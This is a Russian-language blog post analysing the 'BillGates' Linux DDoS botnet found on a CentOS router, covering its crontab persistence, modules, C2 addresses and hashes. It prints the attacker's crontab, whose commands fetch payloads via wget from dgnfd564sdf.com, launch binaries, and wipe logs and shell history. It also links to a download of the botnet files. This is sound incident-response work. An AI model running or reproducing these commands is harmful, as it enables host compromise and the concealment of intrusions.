Исследуем Linux Botnet «BillGates»

в 13:51, , рубрики: linux, reverse engineering, информационная безопасность, метки: ,

image

Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:

Скрытый текст

root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

К сожалению, процессы не додумался скопировать

Начальный анализ

Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:

cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«Хмм, ладно», подумал я. Полез в root'овский crontab:

Скрытый текст

# crontab -e
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
…
*/1 * * * * killall -9 nfsd4
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
…
*/1 * * * * killall -9 profild.key
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
…
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
…
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
…
…
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
…
# Edit this file to introduce tasks to be run by cron.
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.

Ох. Размером он был 183КБ, 4036 строчек. Вы когда-нибудь видели crontab размером 183КБ? Я видел.
К моменту, когда я зашел на сервер, эти процессы уже ничего не делали (не грузили процессор, не использовали сеть). Решил остановить crond, чтобы эти правила не выполнялись, а процессы пока не убивать. Натравил на них strace:

Скрытый текст

[root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(<... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "17", 8) = 0
send(3, "RrLinux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "17", 8) = 0
send(3, "RrLinux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, 


[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0)               = -1 ECONNRESET (Connection reset by peer)
close(3)                                = 0
futex(0x816e8a8, FUTEX_WAKE, 1)         = 1
futex(0x816e8a4, FUTEX_WAKE, 1)         = 1
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "17", 8) = 0
send(3, "RrLinux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<", 8) = 0
recv(3, "4", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "17", 8) = 0
send(3, "", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<", 8) = 0
recv(3, "4", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "17", 8) = 0
send(3, "1", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detached

Процессы почти ничего не делали, только изредка отправляли собранные с машины данные. Решил их убить, разумеется, с сигналом SIGKILL. Почистил crontab, почистил /etc/rc.local, удалил эти исполняемые файлы из /etc (к слову, они все имели SUID-бит, а на одном был Immunity-бит, и если не знать или не помнить про extended attributes файлов, то можно долго ломать голову, почему ничего нельзя с ним сделать: ни удалить, ни изменить), почистил /etc/profile от 422 строчек:

unset MAILCHECK

Что означает, что ботнет был на компьютере примерно 7 часов. Не так много, но и не мало, заархивировал все файлы себе и скачал их.

Теперь нужно проверить, были ли изменены какие-то системные файлы. В CentOS для этого достаточно выполнить:

rpm -Va

Вывод этой команды меня, в общем-то, порадовал:

Скрытый текст

[root@Fatalsrv ~]# rpm -Va
S.5....T.  c /etc/ppp/chap-secrets
S.5....T.  c /etc/issue
S.5....T.  c /etc/crontab
S.5....T.  c /etc/nagiosgraph/access.conf
S.5....T.  c /etc/nagiosgraph/nagiosgraph.conf
.M.......    /usr/lib/nagiosgraph/cgi-bin/show.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showhost.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showservice.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.css
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.js
S.5....T.    /var/log/nagiosgraph/nagiosgraph-cgi.log
S.5....T.    /var/log/nagiosgraph/nagiosgraph.log
missing     /usr/java/jre1.7.0_40/lib/install.jar
....L....    /lib/modules/2.6.32-358.2.1.el6.x86_64/build
S.5....T.  c /etc/tor/torrc
.M.......    /
.......T.  c /etc/ppp/options.pptpd
S.5....T.  c /etc/pptpd.conf
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.5....T.  c /etc/rsyslog.conf
S.5....T.  c /etc/rc.d/rc.local
..5....T.  c /etc/sysctl.conf
S.5....T.  c /etc/vsftpd/vsftpd.conf
.M.......    /var/ftp/pub
..5....T.  c /etc/sysconfig/PlexMediaServer
.......T.    /usr/lib/plexmediaserver/start.sh
S.5....T.  c /etc/sysconfig/lm_sensors
S.5....T.  c /etc/php.ini
S.5....T.  c /etc/httpd/conf/httpd.conf
.......T.    /etc/rc.d/init.d/deluge-daemon
S.5....T.  c /etc/cacti/db.php
S.5....T.  c /etc/cron.d/cacti
S.5....T.  c /etc/httpd/conf.d/cacti.conf
.M.......    /usr/share/cacti
.M.......    /usr/share/cacti/about.php
.M.......    /usr/share/cacti/auth_changepassword.php
.M.......    /usr/share/cacti/auth_login.php
.M.......    /usr/share/cacti/cdef.php
.M.......    /usr/share/cacti/cmd.php
.M.......    /usr/share/cacti/color.php
.M.......    /usr/share/cacti/data_input.php
.M.......    /usr/share/cacti/data_queries.php
.M.......    /usr/share/cacti/data_sources.php
.M.......    /usr/share/cacti/data_templates.php
.M.......    /usr/share/cacti/gprint_presets.php
.M.......    /usr/share/cacti/graph.php
.M.......    /usr/share/cacti/graph_image.php
.M.......    /usr/share/cacti/graph_settings.php
.M.......    /usr/share/cacti/graph_templates.php
.M.......    /usr/share/cacti/graph_templates_inputs.php
.M.......    /usr/share/cacti/graph_templates_items.php
.M.......    /usr/share/cacti/graph_view.php
.M.......    /usr/share/cacti/graph_xport.php
.M.......    /usr/share/cacti/graphs.php
.M.......    /usr/share/cacti/graphs_items.php
.M.......    /usr/share/cacti/graphs_new.php
.M.......    /usr/share/cacti/host.php
.M.......    /usr/share/cacti/host_templates.php
.M.......    /usr/share/cacti/images
.M.......    /usr/share/cacti/images/arrow.gif
.M.......    /usr/share/cacti/images/auth_deny.gif
.M.......    /usr/share/cacti/images/auth_login.gif
.M.......    /usr/share/cacti/images/auth_logout.gif
.M.......    /usr/share/cacti/images/button_add.gif
.M.......    /usr/share/cacti/images/button_cancel.gif
.M.......    /usr/share/cacti/images/button_cancel2.gif
.M.......    /usr/share/cacti/images/button_clear.gif
.M.......    /usr/share/cacti/images/button_colapse_all.gif
.M.......    /usr/share/cacti/images/button_create.gif
.M.......    /usr/share/cacti/images/button_default.gif
.M.......    /usr/share/cacti/images/button_delete.gif
.M.......    /usr/share/cacti/images/button_expand_all.gif
.M.......    /usr/share/cacti/images/button_export.gif
.M.......    /usr/share/cacti/images/button_go.gif
.M.......    /usr/share/cacti/images/button_help.gif
.M.......    /usr/share/cacti/images/button_import.gif
.M.......    /usr/share/cacti/images/button_no.gif
.M.......    /usr/share/cacti/images/button_purge.gif
.M.......    /usr/share/cacti/images/button_refresh.gif
.M.......    /usr/share/cacti/images/button_save.gif
.M.......    /usr/share/cacti/images/button_view.gif
.M.......    /usr/share/cacti/images/button_yes.gif
.M.......    /usr/share/cacti/images/cacti_about_logo.gif
.M.......    /usr/share/cacti/images/cacti_backdrop.gif
.M.......    /usr/share/cacti/images/cacti_backdrop2.gif
.M.......    /usr/share/cacti/images/cacti_logo.gif
.M.......    /usr/share/cacti/images/calendar.gif
.M.......    /usr/share/cacti/images/delete_icon.gif
.M.......    /usr/share/cacti/images/delete_icon_large.gif
.M.......    /usr/share/cacti/images/disable_icon.png
.M.......    /usr/share/cacti/images/enable_icon.png
.M.......    /usr/share/cacti/images/enable_icon_disabled.png
.M.......    /usr/share/cacti/images/favicon.ico
.M.......    /usr/share/cacti/images/graph_page_top.gif
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.M.......    /usr/share/cacti/tree.php
.M.......    /usr/share/cacti/user_admin.php
.M.......    /usr/share/cacti/utilities.php
.M.......    /var/lib/cacti
.M.......    /var/lib/cacti/cli
.M.......    /var/lib/cacti/cli/add_data_query.php
.M.......    /var/lib/cacti/cli/add_device.php
.M.......    /var/lib/cacti/cli/add_graph_template.php
.M.......    /var/lib/cacti/cli/add_graphs.php
.M.......    /var/lib/cacti/cli/add_perms.php
.M.......    /var/lib/cacti/cli/add_tree.php
.M.......    /var/lib/cacti/cli/analyze_database.php
.M.......    /var/lib/cacti/cli/convert_innodb.php
.M.......    /var/lib/cacti/cli/copy_user.php
.M.......    /var/lib/cacti/cli/data_template_associate_rra.php
.M.......    /var/lib/cacti/cli/host_update_template.php
.M.......    /var/lib/cacti/cli/import_template.php
.M.......    /var/lib/cacti/cli/poller_data_sources_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_graphs_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_output_empty.php
.M.......    /var/lib/cacti/cli/poller_reindex_hosts.php
.M.......    /var/lib/cacti/cli/rebuild_poller_cache.php
.M.......    /var/lib/cacti/cli/reorder_data_query.php
.M.......    /var/lib/cacti/cli/repair_database.php
.M.......    /var/lib/cacti/cli/repair_templates.php
.M.......    /var/lib/cacti/cli/structure_rra_paths.php
.M.......    /var/lib/cacti/cli/upgrade_database.php
.M.......    /var/lib/cacti/rra
.M.......    /var/lib/cacti/scripts
.M.......    /var/lib/cacti/scripts/3com_cable_modem.pl
.M.......    /var/lib/cacti/scripts/diskfree.pl
.M.......    /var/lib/cacti/scripts/diskfree.sh
.M.......    /var/lib/cacti/scripts/linux_memory.pl
.M.......    /var/lib/cacti/scripts/loadavg.pl
.M.......    /var/lib/cacti/scripts/loadavg_multi.pl
.M.......    /var/lib/cacti/scripts/ping.pl
.M.......    /var/lib/cacti/scripts/query_host_cpu.php
.M.......    /var/lib/cacti/scripts/query_host_partitions.php
.M.......    /var/lib/cacti/scripts/query_unix_partitions.pl
.M.......    /var/lib/cacti/scripts/sql.php
.M.......    /var/lib/cacti/scripts/ss_fping.php
.M.......    /var/lib/cacti/scripts/ss_host_cpu.php
.M.......    /var/lib/cacti/scripts/ss_host_disk.php
.M.......    /var/lib/cacti/scripts/ss_sql.php
.M.......    /var/lib/cacti/scripts/unix_processes.pl
.M.......    /var/lib/cacti/scripts/unix_tcp_connections.pl
.M.......    /var/lib/cacti/scripts/unix_users.pl
.M.......    /var/lib/cacti/scripts/weatherbug.pl
.M.......    /var/lib/cacti/scripts/webhits.pl
S.5....T.    /var/log/cacti/cacti.log
S.5....T.  c /etc/ntop.conf
.......T.  c /etc/avahi/hosts
S.5....T.  c /etc/netatalk/AppleVolumes.default
S.5....T.  c /etc/netatalk/afpd.conf
S.5....T.  c /etc/netatalk/netatalk.conf
S.5....T.  c /etc/httpd/conf.d/nagios.conf
S.5....T.  c /etc/nagios/nagios.cfg
S.5....T.  c /etc/nagios/objects/commands.cfg
S.5....T.  c /etc/nagios/objects/localhost.cfg
S.5....T.  c /etc/sysconfig/ntpd
S.5....T.  c /etc/profile
SM5..UGT.  c /etc/snmp/snmpd.conf
S.5....T.  c /etc/sysconfig/iptables-config
.......T.  c /etc/avahi/avahi-dnsconfd.action
S.5....T.  c /etc/dnsmasq.conf

Это означает, что никакие системные файлы не были изменены. Т.к. процессы в системе не были скрыты, я предположил, что никаких руткитов здесь не использовалось и можно с некоторой уверенностью сказать, что система чиста.

Поиск информации о ботнете

Первым делом я начал искать какую-то информацию об этом ботнете, ища по имени домена, имени файлов и строкам из crontab.
Некоторая информация сразу же нашлась:
My home PC has been 0wn3d :( @ forums.debian.net
What do sapd, skysapd, sksapd, and ksapd do? @ askubuntu.com
I Got Myself Hacked @ hackervisions.org
Suspected rootkit @ archlinuxarm.org

В целом, ничего интересного или нового.

Исследование файлов ботнета

Первым делом, я воспользовался программой file, чтобы узнать побольше об этим исполняемых файлах:

atddd:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsddh:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ksapdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
kysapdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
xfsdxd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped

Not stripped! Вот так новость!
Мне почему-то понравился файл cupsdd, и я первым делом загрузил его, а не atddd. Сам не знаю почему, но это было совершенно правильно.

Gates

Итак, cupsdd — модуль «Gates». md5 603170ad361f6e098c8681ed264155eb, sha1 1714fd31cc931e2a0eb97d25a076567af45dc6d8
Что же он делает, и почему он «Gates»? Ну, на это нам ответит IDA Pro, например.
image

image

Что же делает этот модуль?

  • Пытается инициализировать себя

Распаковывает RSA-данные, в моем случае это была строка:

116.10.189.246:30000:1:1:h:578856:579372:579888

Переменные из которой назначаются следующим образом:

g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888

Последние три параметра нужны для определения трех RSA-строк в случае обновления модулей.

Скрытый текст

image

  • Пытается установить модуль «Bill»

Проверяет, не запущен ли уже он, путем бинда порта 10808. Если удалось забиндить — не запущен. Если нет, то убиваем процесс, PID которого хранится в lock-файле в /tmp/bill.lock
Находит путь, где хранится текущий exe, путем чтения /proc/%d/exe, выделяет путь, добавляет 'BillTail', расшифрованного из пункта 1 (в моем случае был 'h'), открывает его на запись и записывает туда файл, начиная со смещения 0xB1728 размером 335872.
Форкается и запускает новый файл.

Скрытый текст

image

  • Вызывает функцию daemon(), которая ребиндит текущие stdin, stdout и stderr на /dev/null
  • Проверяет, запущен ли он сам (модуль «Gates») путем проверки файла /tmp/gates.lock. Если запущен, то Gates завершается.

  • Добавляет распакованный модуль «Bill» в автозагрузку sysvinit путем создания наипростейшего init-скрипта в /etc/init.d/ c названием «DbSecuritySpt» вида:

#!/bin/bash
/path/to/bill

И создает симлинки в /etc/rc[1-5].d/97DbSecuritySpt на него.

Скрытый текст

image

  • Запускается функция MainProcess()

Читает основную информацию о системе, процессоре, оперативной памяти, сетевых картах, винчестерах.

Скрытый текст

image

Bill

Модуль «Bill» — DDoS модуль. Запакован UPX. В моем случае назывался «cupsddh», md5 7fb3dce23d290166c7e52644b16faae6, sha1 98db5a311118c78d97aa514db7d8277535544926

  • Умеет атаковать хосты по TCP, UDP, ICMP и методом DNS-амплификации. Умеет ограничивать себя в ресурсах CPU, переконфигурироваться на лету, самообновляться.
  • Читает основную информацию о системе, процессоре, оперативной памяти, сетевых картах, винчестерах.
  • Читает информацию о DNS.
  • Делает system(«insmod /usr/lib/xpacket.ko»)
  • При самообновлении пишет себя в /usr/lib/libamplify.so

Начинает слушать 127.0.0.1:10808. Может получать как конфиг от главного модуля, так и команды на атаку.

«Стучащий» модуль

Файл ksapdd — какой-то модуль, который отправляет статистику и информацию на главные сервера.
Сервер и порт зашиты в программу. В моем случае, это были 121.12.110.96:10991, которые элементарно декодируются:

Скрытый текст

image

image

Файлы kysapdd, skysapdd, xfsdxd и atddd являются копиями ksapdd, но первый подключается к 112.90.252.76:10991, второй к 112.90.22.197:10991, третий к 116.10.189.246:10991, а четвертый — к 202.103.178.76:10991

Заключение

Ну вот и все. Получилось несколько поверхностно, но управляющие серверы в упор не хотят отдавать команды моим экземплярам, и ничего не происходит. Берегите свои серверы.

rghost.ru/52680741 — здесь все файлы ботнета.

Автор: ValdikSS

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